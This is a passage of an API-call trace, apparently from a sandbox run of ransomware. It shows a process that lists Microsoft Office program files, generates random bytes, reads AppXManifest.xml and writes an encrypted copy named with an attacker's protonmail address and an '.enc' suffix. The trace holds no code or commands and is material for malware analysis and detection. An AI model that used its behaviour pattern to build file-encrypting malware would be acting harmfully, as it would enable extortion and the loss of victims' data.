ftLastWriteTime.dwLowDateTime=0xf9dfb986, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7450 [0133.189] GetLastError () returned 0x0 [0133.189] GetCurrentThreadId () returned 0x9b0 [0133.189] GetLastError () returned 0x0 [0133.189] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9dfb986, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0133.189] GetLastError () returned 0x0 [0133.189] GetCurrentThreadId () returned 0x9b0 [0133.189] GetLastError () returned 0x0 [0133.189] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="AppXManifest.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0133.189] GetLastError () returned 0x0 [0133.189] GetCurrentThreadId () returned 0x9b0 [0133.189] GetLastError () returned 0x0 [0133.190] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="FileSystemMetadata.xml", cAlternateFileName="FILESY~1.XML")) returned 1 [0133.190] GetLastError () returned 0x0 [0133.190] GetCurrentThreadId () returned 0x9b0 [0133.190] GetLastError () returned 0x0 [0133.190] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Office16", cAlternateFileName="")) returned 1 [0133.190] GetLastError () returned 0x0 [0133.190] GetCurrentThreadId () returned 0x9b0 [0133.190] GetLastError () returned 0x0 [0133.190] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0133.190] GetLastError () returned 0x0 [0133.190] GetCurrentThreadId () returned 0x9b0 [0133.190] GetLastError () returned 0x0 [0133.190] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="root", cAlternateFileName="")) returned 1 [0133.191] GetLastError () returned 0x0 [0133.191] GetCurrentThreadId () returned 0x9b0 [0133.191] GetLastError () returned 0x0 [0133.191] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="root", cAlternateFileName="")) returned 0 [0133.191] GetLastError () returned 0x12 [0133.191] GetCurrentThreadId () returned 0x9b0 [0133.191] GetLastError () returned 0x12 [0133.191] GetLastError () returned 0x12 [0133.191] FindClose (in: hFindFile=0x10f7450 | out: hFindFile=0x10f7450) returned 1 [0133.191] GetLastError () returned 0x12 [0133.191] GetLastError () returned 0x12 [0133.191] GetLastError () returned 0x12 [0133.192] GetLastError () returned 0x12 [0133.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0133.192] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20 [0133.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a528 | out: hHeap=0x2ad0000) returned 1 [0133.192] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0133.192] GetCurrentThreadId () returned 0x9b0 [0133.192] GetLastError () returned 0x12 [0133.192] GetLastError () returned 0x12 [0133.192] GetLastError () returned 0x12 [0133.193] GetLastError () returned 0x12 [0133.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0133.193] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220 [0133.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887920 | out: hHeap=0x2ad0000) returned 1 [0133.193] GetLastError () returned 0x12 [0133.193] GetLastError () returned 0x12 [0133.193] GetLastError () returned 0x12 [0133.193] GetLastError () returned 0x12 [0133.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0133.194] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office16" (normalized: "c:\\program files\\microsoft office\\office16")) returned 0x30 [0133.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0133.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0133.194] GetCurrentThreadId () returned 0x9b0 [0133.194] GetLastError () returned 0x12 [0133.194] GetLastError () returned 0x12 [0133.194] GetLastError () returned 0x12 [0133.194] GetLastError () returned 0x12 [0133.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0133.194] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests" (normalized: "c:\\program files\\microsoft office\\packagemanifests")) returned 0x10 [0133.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a868 | out: hHeap=0x2ad0000) returned 1 [0133.195] GetLastError () returned 0x12 [0133.195] GetLastError () returned 0x12 [0133.195] GetLastError () returned 0x12 [0133.195] GetLastError () returned 0x12 [0133.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0133.195] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root" (normalized: "c:\\program files\\microsoft office\\root")) returned 0x10 [0133.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0133.195] GetCurrentThreadId () returned 0x9b0 [0133.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887530 | out: hHeap=0x2ad0000) returned 1 [0133.196] GetLastError () returned 0x12 [0133.196] GetLastError () returned 0x12 [0133.196] GetLastError () returned 0x12 [0133.196] GetLastError () returned 0x12 [0133.196] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", lpFilePart=0x9bada4*="AppXManifest.xml") returned 0x32 [0133.196] GetCurrentThreadId () returned 0x9b0 [0133.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0133.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0133.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0133.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0133.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa58 [0133.197] GetLastError () returned 0x0 [0133.197] GetLastError () returned 0x0 [0133.197] GetLastError () returned 0x0 [0133.197] GetLastError () returned 0x0 [0133.197] GetCurrentThreadId () returned 0x9b0 [0133.197] GetLastError () returned 0x0 [0133.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaa58 | out: hHeap=0x2ad0000) returned 1 [0133.197] GetCurrentThreadId () returned 0x9b0 [0133.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9e0 [0133.197] GetLastError () returned 0x0 [0133.197] GetLastError () returned 0x0 [0133.198] GetLastError () returned 0x0 [0133.198] GetLastError () returned 0x0 [0133.198] GetCurrentThreadId () returned 0x9b0 [0133.198] GetLastError () returned 0x0 [0133.198] GetLastError () returned 0x0 [0133.198] GetLastError () returned 0x0 [0133.198] GetLastError () returned 0x0 [0133.198] GetLastError () returned 0x0 [0133.198] GetCurrentThreadId () returned 0x9b0 [0133.198] GetLastError () returned 0x0 [0133.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea9e0 | out: hHeap=0x2ad0000) returned 1 [0133.199] GetLastError () returned 0x0 [0133.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0133.199] GetLastError () returned 0x0 [0133.199] GetLastError () returned 0x0 [0133.199] GetLastError () returned 0x0 [0133.199] GetCurrentThreadId () returned 0x9b0 [0133.199] GetLastError () returned 0x0 [0133.199] GetCurrentThreadId () returned 0x9b0 [0133.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a768 [0133.199] GetLastError () returned 0x0 [0133.199] GetLastError () returned 0x0 [0133.200] GetLastError () returned 0x0 [0133.200] GetLastError () returned 0x0 [0133.200] GetCurrentThreadId () returned 0x9b0 [0133.200] GetLastError () returned 0x0 [0133.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0133.200] GetLastError () returned 0x0 [0133.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0133.200] GetLastError () returned 0x0 [0133.200] GetLastError () returned 0x0 [0133.200] GetLastError () returned 0x0 [0133.200] GetCurrentThreadId () returned 0x9b0 [0133.201] GetLastError () returned 0x0 [0133.201] GetLastError () returned 0x0 [0133.201] GetLastError () returned 0x0 [0133.201] GetLastError () returned 0x0 [0133.201] GetLastError () returned 0x0 [0133.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0133.202] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7)) returned 1 [0133.202] GetLastError () returned 0x0 [0133.202] GetCurrentThreadId () returned 0x9b0 [0133.202] GetLastError () returned 0x0 [0133.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0133.202] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bf34 | out: pbBuffer=0x366bf34) returned 1 [0133.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0133.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0133.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0133.203] GetCurrentThreadId () returned 0x9b0 [0133.203] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa80 [0133.203] GetLastError () returned 0x0 [0133.203] GetLastError () returned 0x0 [0133.203] GetLastError () returned 0x0 [0133.203] GetLastError () returned 0x0 [0133.203] GetCurrentThreadId () returned 0x9b0 [0133.203] GetLastError () returned 0x0 [0133.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaa80 | out: hHeap=0x2ad0000) returned 1 [0133.203] GetCurrentThreadId () returned 0x9b0 [0133.203] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa08 [0133.204] GetLastError () returned 0x0 [0133.204] GetLastError () returned 0x0 [0133.204] GetLastError () returned 0x0 [0133.204] GetLastError () returned 0x0 [0133.204] GetCurrentThreadId () returned 0x9b0 [0133.204] GetLastError () returned 0x0 [0133.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaa08 | out: hHeap=0x2ad0000) returned 1 [0133.204] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de4f8 [0133.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a54e8 | out: hHeap=0x2ad0000) returned 1 [0133.204] GetLastError () returned 0x0 [0133.204] GetLastError () returned 0x0 [0133.205] GetLastError () returned 0x0 [0133.205] GetLastError () returned 0x0 [0133.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de558 [0133.205] GetLastError () returned 0x0 [0133.205] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.205] GetFileType (hFile=0x39c) returned 0x1 [0133.205] GetLastError () returned 0x0 [0133.205] GetCurrentThreadId () returned 0x9b0 [0133.206] GetLastError () returned 0x0 [0133.206] GetFileType (hFile=0x39c) returned 0x1 [0133.206] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.206] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.206] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.206] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.206] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.206] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.206] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.206] GetLastError () returned 0x0 [0133.206] GetCurrentThreadId () returned 0x9b0 [0133.206] GetLastError () returned 0x0 [0133.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0133.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0133.207] GetLastError () returned 0x0 [0133.207] GetLastError () returned 0x0 [0133.207] GetLastError () returned 0x0 [0133.207] GetLastError () returned 0x0 [0133.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0133.207] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de558 [0133.207] GetLastError () returned 0x0 [0133.207] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.208] GetFileType (hFile=0x3ac) returned 0x1 [0133.208] GetLastError () returned 0x0 [0133.208] GetCurrentThreadId () returned 0x9b0 [0133.208] GetLastError () returned 0x0 [0133.208] GetFileType (hFile=0x3ac) returned 0x1 [0133.208] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.209] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.209] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.209] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.209] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.209] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.209] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.209] GetLastError () returned 0x0 [0133.209] GetCurrentThreadId () returned 0x9b0 [0133.209] GetLastError () returned 0x0 [0133.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0133.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa29d8 | out: hHeap=0x2ad0000) returned 1 [0133.209] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0133.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.210] GetLastError () returned 0x0 [0133.210] GetLastError () returned 0x0 [0133.210] GetCurrentThreadId () returned 0x9b0 [0133.210] GetLastError () returned 0x0 [0133.210] GetCurrentThreadId () returned 0x9b0 [0133.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0133.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0133.210] GetLastError () returned 0x0 [0133.210] GetLastError () returned 0x0 [0133.210] GetCurrentThreadId () returned 0x9b0 [0133.210] GetLastError () returned 0x0 [0133.210] GetLastError () returned 0x0 [0133.212] GetLastError () returned 0x0 [0133.212] GetCurrentThreadId () returned 0x9b0 [0133.212] GetLastError () returned 0x0 [0133.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4f8 | out: hHeap=0x2ad0000) returned 1 [0133.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.212] GetLastError () returned 0x0 [0133.213] GetCurrentThreadId () returned 0x9b0 [0133.214] GetCurrentThreadId () returned 0x9b0 [0133.215] GetCurrentThreadId () returned 0x9b0 [0133.215] GetCurrentThreadId () returned 0x9b0 [0133.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de4f8 [0133.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0133.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.216] GetCurrentThreadId () returned 0x9b0 [0133.217] GetCurrentThreadId () returned 0x9b0 [0133.217] GetCurrentThreadId () returned 0x9b0 [0133.217] GetCurrentThreadId () returned 0x9b0 [0133.217] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de578 [0133.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4f8 | out: hHeap=0x2ad0000) returned 1 [0133.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.218] GetCurrentThreadId () returned 0x9b0 [0133.219] GetCurrentThreadId () returned 0x9b0 [0133.219] GetCurrentThreadId () returned 0x9b0 [0133.220] GetCurrentThreadId () returned 0x9b0 [0133.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.220] GetCurrentThreadId () returned 0x9b0 [0133.221] GetCurrentThreadId () returned 0x9b0 [0133.222] GetCurrentThreadId () returned 0x9b0 [0133.222] GetCurrentThreadId () returned 0x9b0 [0133.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.223] GetCurrentThreadId () returned 0x9b0 [0133.224] GetCurrentThreadId () returned 0x9b0 [0133.225] GetCurrentThreadId () returned 0x9b0 [0133.225] GetCurrentThreadId () returned 0x9b0 [0133.225] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.225] GetCurrentThreadId () returned 0x9b0 [0133.226] GetCurrentThreadId () returned 0x9b0 [0133.227] GetCurrentThreadId () returned 0x9b0 [0133.227] GetCurrentThreadId () returned 0x9b0 [0133.227] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.227] GetCurrentThreadId () returned 0x9b0 [0133.228] GetCurrentThreadId () returned 0x9b0 [0133.229] GetCurrentThreadId () returned 0x9b0 [0133.229] GetCurrentThreadId () returned 0x9b0 [0133.229] GetCurrentThreadId () returned 0x9b0 [0133.230] GetCurrentThreadId () returned 0x9b0 [0133.231] GetCurrentThreadId () returned 0x9b0 [0133.232] GetCurrentThreadId () returned 0x9b0 [0133.232] GetCurrentThreadId () returned 0x9b0 [0133.233] GetCurrentThreadId () returned 0x9b0 [0133.234] GetCurrentThreadId () returned 0x9b0 [0133.234] GetCurrentThreadId () returned 0x9b0 [0133.234] GetCurrentThreadId () returned 0x9b0 [0133.235] GetCurrentThreadId () returned 0x9b0 [0133.236] GetCurrentThreadId () returned 0x9b0 [0133.236] GetCurrentThreadId () returned 0x9b0 [0133.236] GetCurrentThreadId () returned 0x9b0 [0133.237] GetCurrentThreadId () returned 0x9b0 [0133.238] GetCurrentThreadId () returned 0x9b0 [0133.238] GetCurrentThreadId () returned 0x9b0 [0133.238] GetCurrentThreadId () returned 0x9b0 [0133.240] GetCurrentThreadId () returned 0x9b0 [0133.241] GetCurrentThreadId () returned 0x9b0 [0133.241] GetCurrentThreadId () returned 0x9b0 [0133.241] GetCurrentThreadId () returned 0x9b0 [0133.243] GetCurrentThreadId () returned 0x9b0 [0133.243] GetCurrentThreadId () returned 0x9b0 [0133.244] GetCurrentThreadId () returned 0x9b0 [0133.244] GetCurrentThreadId () returned 0x9b0 [0133.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37a40f0 [0133.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0133.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.245] GetCurrentThreadId () returned 0x9b0 [0133.246] GetCurrentThreadId () returned 0x9b0 [0133.246] GetCurrentThreadId () returned 0x9b0 [0133.247] GetCurrentThreadId () returned 0x9b0 [0133.247] GetCurrentThreadId () returned 0x9b0 [0133.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.248] GetCurrentThreadId () returned 0x9b0 [0133.248] GetCurrentThreadId () returned 0x9b0 [0133.249] GetCurrentThreadId () returned 0x9b0 [0133.258] GetCurrentThreadId () returned 0x9b0 [0133.258] GetCurrentThreadId () returned 0x9b0 [0133.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de618 [0133.259] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de578 | out: hHeap=0x2ad0000) returned 1 [0133.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.259] GetCurrentThreadId () returned 0x9b0 [0133.263] GetCurrentThreadId () returned 0x9b0 [0133.264] GetCurrentThreadId () returned 0x9b0 [0133.264] GetCurrentThreadId () returned 0x9b0 [0133.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0133.264] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.264] GetCurrentThreadId () returned 0x9b0 [0133.265] GetCurrentThreadId () returned 0x9b0 [0133.266] GetCurrentThreadId () returned 0x9b0 [0133.266] GetCurrentThreadId () returned 0x9b0 [0133.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.266] GetCurrentThreadId () returned 0x9b0 [0133.267] GetCurrentThreadId () returned 0x9b0 [0133.268] GetCurrentThreadId () returned 0x9b0 [0133.268] GetCurrentThreadId () returned 0x9b0 [0133.268] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.268] GetCurrentThreadId () returned 0x9b0 [0133.269] GetCurrentThreadId () returned 0x9b0 [0133.271] GetCurrentThreadId () returned 0x9b0 [0133.271] GetCurrentThreadId () returned 0x9b0 [0133.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.271] GetCurrentThreadId () returned 0x9b0 [0133.273] GetCurrentThreadId () returned 0x9b0 [0133.273] GetCurrentThreadId () returned 0x9b0 [0133.274] GetCurrentThreadId () returned 0x9b0 [0133.274] GetCurrentThreadId () returned 0x9b0 [0133.275] GetCurrentThreadId () returned 0x9b0 